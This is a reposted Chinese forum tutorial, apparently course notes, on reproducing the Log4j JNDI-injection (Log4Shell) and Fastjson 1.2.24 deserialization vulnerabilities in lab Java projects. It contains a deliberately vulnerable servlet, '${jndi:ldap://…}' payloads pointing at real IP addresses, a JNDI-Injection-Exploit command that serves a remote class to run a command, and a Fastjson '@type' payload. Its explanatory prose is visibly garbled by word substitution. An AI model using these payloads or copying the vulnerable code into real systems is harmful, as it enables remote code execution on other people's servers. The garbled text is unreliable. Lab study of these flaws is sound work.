第36天:安全开辟-JavaEE应用&第三方组件&Log4j日志&FastJson序列化&JNDI注 ...

打印 上一主题 下一主题

主题 862|帖子 862|积分 2586

时间轴:


   演示案例:

  Java-三方组件-Log4J&JNDI
  Java-三方组件-FastJson&反射
  
  Maven的下载及配置:

   IDEA配置Maven的超具体步骤_java_脚本之家    Java-三方组件-Log4J&JNDI

   JNDI   注入:  (  见图  )     Java Naming and Directory Interface (Java   定名和目录接口   )  ,  JNDI   提     供统一的客户端   API  ,通过差别的服务供应接口  (SPI)  的实现,由管理者将   JNDI API     映射为特定的定名服务和目录服务,使得   JAVA   应用程可以通过   JNDI   实现和这些定名     服务和目录服务之间的交互。     #Java-  三方组件  -Log4J&JNDI     Log4J  :     Apache   的一个开源项目,通过使用   Log4j  ,我们可以控制日志信息运送的目的地是控制     台、文件、  GUI   组件,乃至是套接口服务器、  NT   的事件记录器、  UNIX Syslog   保卫进     程等;我们也可以控制每一条日志的输出格式;通过界说每一条日志信息的级别,我们能     够更加细致地控制日志的天生过程。最令人感爱好的就是,这些可以通过一个配置文件来     灵活地进行配置,而不必要修改应用的代码。     Log4j-  组件安全复现     1  、  Maven   引用   Log4j     2  、继承用户输入值     3  、  Log4j   处理错误输入     4  、使用   jndi-ldap   实验     Test:     String code="test";     String code="${javas}";     logger.error("{}",code);     String exp="${jndi:ldap://xx.xx.xx.xx:xx/xxx}";     服务器:     java -jar JNDI-Injection-Exploit.jar -C "calc" -A xx.xx.xx.xx     1.创建新项目

2.log4j组件的导入
   Jar   仓库:     https://mvnrepos
  1. <!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core -->
  2. <dependency>
  3.     <groupId>org.apache.logging.log4j</groupId>
  4.     <artifactId>log4j-core</artifactId>
  5.     <version>2.14.1</version>
  6. </dependency>
复制代码
https://mvnrepos  搜刮log4j,选择第一个

进入后选择2.1.4

复制其maven

maven代码:
  1. <!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core -->
  2. <dependency>
  3.     <groupId>org.apache.logging.log4j</groupId>
  4.     <artifactId>log4j-core</artifactId>
  5.     <version>2.14.1</version>
  6. </dependency>
复制代码

点击上面的

会在外部多加两个库:
   
    改为2.14.0的话,自动会酿成2.14.0的包      Log4jTest:
  1. import org.apache.logging.log4j.LogManager;
  2. import org.apache.logging.log4j.Logger;
  3. public class Log4jTest {
  4.     //使用Log4j 实现错误日志输出
  5.     private static final Logger logger = LogManager.getLogger(Log4jTest.class);
  6.     public static void main(String[] args) {
  7.         //如果这个code变量是可控的
  8.         String code="${java:os}";
  9.         logger.error("{}",code);
  10.     }
  11. }
复制代码

  Logger选择此项:
  

  正常情况运行的话:
   
     使用Log4j 实现错误日志输出:
  

    os的意思是体系的意思。     vm是java的假造器     测试毛病

   创建一个新项目Log4jWebDemo,在下面创建一个Log4jServlet。      将log4j的包导入进web.xml去(和上面的方法一样)       Log4jServlet:   
  1. package com.example.log4jwebdemo;
  2. import org.apache.logging.log4j.LogManager;
  3. import org.apache.logging.log4j.Logger;
  4. import javax.servlet.ServletException;
  5. import javax.servlet.annotation.WebServlet;
  6. import javax.servlet.http.HttpServlet;
  7. import javax.servlet.http.HttpServletRequest;
  8. import javax.servlet.http.HttpServletResponse;
  9. import java.io.IOException;
  10. @WebServlet("/log4j")
  11. public class Log4jServlet extends HttpServlet {
  12.     //构造HTTP Web服务 使用带漏洞Log4j版本 实现功能
  13.     private static final Logger log= LogManager.getLogger(Log4jServlet.class);
  14.     @Override
  15.     protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
  16.         String code =req.getParameter("code");
  17.         log.error("{}",code);
  18.     }
  19. }
复制代码
使用http://localhost:8080/Log4jWebDemo_war_exploded/log4j?code={$javas}
  正常情况:(在最下面能看到体系)
  

  当遇到一下情况时:
   
     借助文章:    从0到1java安全5_jndi-injection-exploit-1.0-snapshot-all.jar-CSDN博客     在tomcat下的./conf/service.xml 中重写Connector这个地方 。   
  1. <Connector port="8080" protocol="HTTP/1.1"
  2.          connectionTimeout="30000"
  3.                maxThreads="800"
  4.                minSpareThreads="50"
  5.          redirectPort="8443"
  6.          URIEncoding="ISO-8859-1"
  7.          relaxedQueryChars="[,],|,{,},^,&#x5c;,&#x60;,&quot;,&lt;,&gt;"/>
复制代码
版权声明:本文为博主原创文章,遵照 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
                        
原文链接:从0到1java安全5_jndi-injection-exploit-1.0-snapshot-all.jar-CSDN博客
  网上毛病注入:

   Log4j高危毛病原理及复现_log4j毛病修复-CSDN博客     JNDI&RMI&LDAP介绍+log4j分析_jdbc-ldap-CSDN博客     使用xshell天生JNDI进行毛病注入:

   
   
    为什么使用JNDI?原因如下:   
       使用xshell进行操作:   
  1. 1.先更新源
  2. sudo apt update
  3. 2.安装java
  4. sudo apt install default-jre
  5. 3.切换到目录
  6. cd /
  7. 4.使用java打开jar文件
  8. java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
复制代码

  下面使用的ip为linux的ip
   
    使用   
  1. java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc" -A 47.239.89.173
复制代码
留意使用版本jdk必须小于jdk8u 121,本人使用112
      
    使用网址  localhost:8080/Log4jWebDemo_war_exploded/log4j?code=${jndi:ldap://47.239.120.145:1389/tv9lqn}    得到结果如下:(但不知为何没弹出计算器,其他dnslog.cn都可以用)   
      完备代码:   
  1. package com.example.log4jwebdemo;
  2. import org.apache.logging.log4j.LogManager;
  3. import org.apache.logging.log4j.Logger;
  4. import javax.servlet.ServletException;
  5. import javax.servlet.annotation.WebServlet;
  6. import javax.servlet.http.HttpServlet;
  7. import javax.servlet.http.HttpServletRequest;
  8. import javax.servlet.http.HttpServletResponse;
  9. import java.io.IOException;
  10. @WebServlet("/log4j")
  11. public class Log4jServlet extends HttpServlet {
  12.     //构造HTTP Web服务 使用带漏洞Log4j版本 实现功能
  13.     private static final Logger log= LogManager.getLogger(Log4jServlet.class);
  14.     @Override
  15.     protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
  16.         String code =req.getParameter("code");
  17.         //code=$(java:os) 输出执行结果
  18.         //code=(java:os) 正常输入
  19.         //${jndi:ldap://47.94.236.117:1389/uyhyw6}
  20.         //${jndi:ldap://xxxx.dns.log}
  21.         //ldap://47.94.236.117:1389/uyhyw6 生成的远程可访问的调用方法
  22.         //什么方法? -C "calc" 执行计算机的功能方法(JNDI注入工具生成的)
  23.         log.error("{}",code);
  24.         //1、开发源码中引用漏洞组件如log4j
  25.         //2、开发中使用组件的代码(触发漏洞代码)
  26.         //3、可控变量去传递Payload来实现攻击
  27.     }
  28. }
复制代码
Java-三方组件-FastJson&反射

   FastJson  :     在前后端数据传输交互中  ,  经常会遇到字符串  (String)  与   json,XML   等格式相互转换与     解析,此中   json   以跨语言,跨前后端的优点在开辟中被频仍使用,基本上是标准的数据     互换格式。它的接口简单易用,已经被广泛使用在缓存序列化,协议交互,  Web   输出等各     种应用场景中。  FastJson   是阿里巴巴的的开源库,用于对   JSON   格式的数据进行解析和      1.创建FastjsonDemo:   
     2.配置Fastjson:     https://mvnrepository.com/    版本:    1.2.24   
  1. <!-- https://mvnrepository.com/artifact/com.alibaba/fastjson -->
  2. <dependency>
  3.     <groupId>com.alibaba</groupId>
  4.     <artifactId>fastjson</artifactId>
  5.     <version>1.2.24</version>
  6. </dependency>
复制代码
   
      创建软件包com.xiaodi:  
     创建User:   
  1. package com.xiaodi;
  2. //给fastjson数据转换测试用的
  3. public class User {
  4.     private String name;
  5.     private Integer age;
  6.     public Integer getAge() {
  7.         return age;
  8.     }
  9.     public String getName() {
  10.         return name;
  11.     }
  12.     public void setAge(Integer age) {
  13.         this.age = age;
  14.         System.out.println(age);
  15.     }
  16.     public void setName(String name) {
  17.         this.name = name;
  18.         System.out.println(name);
  19.     }
  20. }
复制代码
创建Fastjson
   
  1. package com.xiaodi;
  2. import com.alibaba.fastjson.JSON;
  3. import com.alibaba.fastjson.JSONObject;
  4. import com.alibaba.fastjson.serializer.SerializerFeature;
  5. //使用fastjson去处理User类数据
  6. public class FastjsonTest {
  7.     public static void main(String[] args) {
  8.         //u Object对象
  9.         //Integer age String name 字符串数据
  10.         User u = new User();
  11.         u.setAge(30);
  12.         u.setName("xiaodi");
  13.         //System.out.println(u);
  14.         //我们想把数据转换成Json格式数据,我不想用自带的API(太麻烦)
  15.         //我就选择第三方组件fastjson来去做这个功能
  16.         //讲json对象转换json数据
  17.           String jsonString = JSONObject.toJSONString(u);
  18.           System.out.println("这就是json格式:"+jsonString);
  19.     }
  20. }
复制代码
使用json格式输出时间:

   Fastjson毛病造成:

当json转换为对象的时间,翻译从User改为Run从而调用错误。
    String test = "{\"@type\":\"com.xiaodi.User\",\"age\":30,\"name\":\"xiaodi\"}";  
 String test = "{\"@type\":\"com.xiaodi.Run\",\"age\":30,\"name\":\"xiaodi\"}";   
  1. package com.xiaodi;
  2. import com.alibaba.fastjson.JSON;
  3. import com.alibaba.fastjson.JSONObject;
  4. import com.alibaba.fastjson.serializer.SerializerFeature;
  5. //使用fastjson去处理User类数据
  6. public class FastjsonTest {
  7.     public static void main(String[] args) {
  8.         //u Object对象
  9.         //Integer age String name 字符串数据
  10.         User u = new User();
  11.         u.setAge(30);
  12.         u.setName("xiaodi");
  13.         //System.out.println(u);
  14.         //我们想把数据转换成Json格式数据,我不想用自带的API(太麻烦)
  15.         //我就选择第三方组件fastjson来去做这个功能
  16.         //讲json对象转换json数据
  17. //        String jsonString = JSONObject.toJSONString(u);
  18. //        System.out.println("这就是json格式:"+jsonString);
  19.        //分析漏洞利用 多输出 转换数据的类型(类) 告诉大家其实前面有一个@type 转换对象类包
  20. //        String jsonString1 = JSONObject.toJSONString(u, SerializerFeature.WriteClassName);
  21. //        System.out.println(jsonString1);
  22.         //上述对象 -> JSON
  23.         //下面JSON -> 对象
  24.         //String test = "{"@type":"com.xiaodi.User","age":30,"name":"xiaodi"}";
  25.         String test = "{"@type":"com.xiaodi.Run","age":30,"name":"xiaodi"}";
  26.         //实战中com.xiaodi.Run 我们不知道 固定调用
  27.         //rmi ldap 去触发远程的class 执行代码(RCE)
  28.         JSONObject jsonObject = JSON.parseObject(test);
  29.         System.out.println(jsonObject);
  30.     }
  31. }
复制代码

  毛病exp文章:

    fastjson1.2.24 反序列化导致恣意下令实验毛病(CVE-2017-18349)_fastjson<= 1.2.24 反序列化导致恣意下令实验毛病(cve-2017-18349)-CSDN博客      
      使用dnslog.cn来判断毛病;    Fastjson 1.2.47 反序列化(CVE-2017-18349)毛病复现_毛病复现 fastjson1.2.47反序列化毛病-CSDN博客      本文章由李豆豆喵和番薯小羊卷~共同完成。
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

没腿的鸟

金牌会员
这个人很懒什么都没写!

标签云

快速回复 返回顶部 返回列表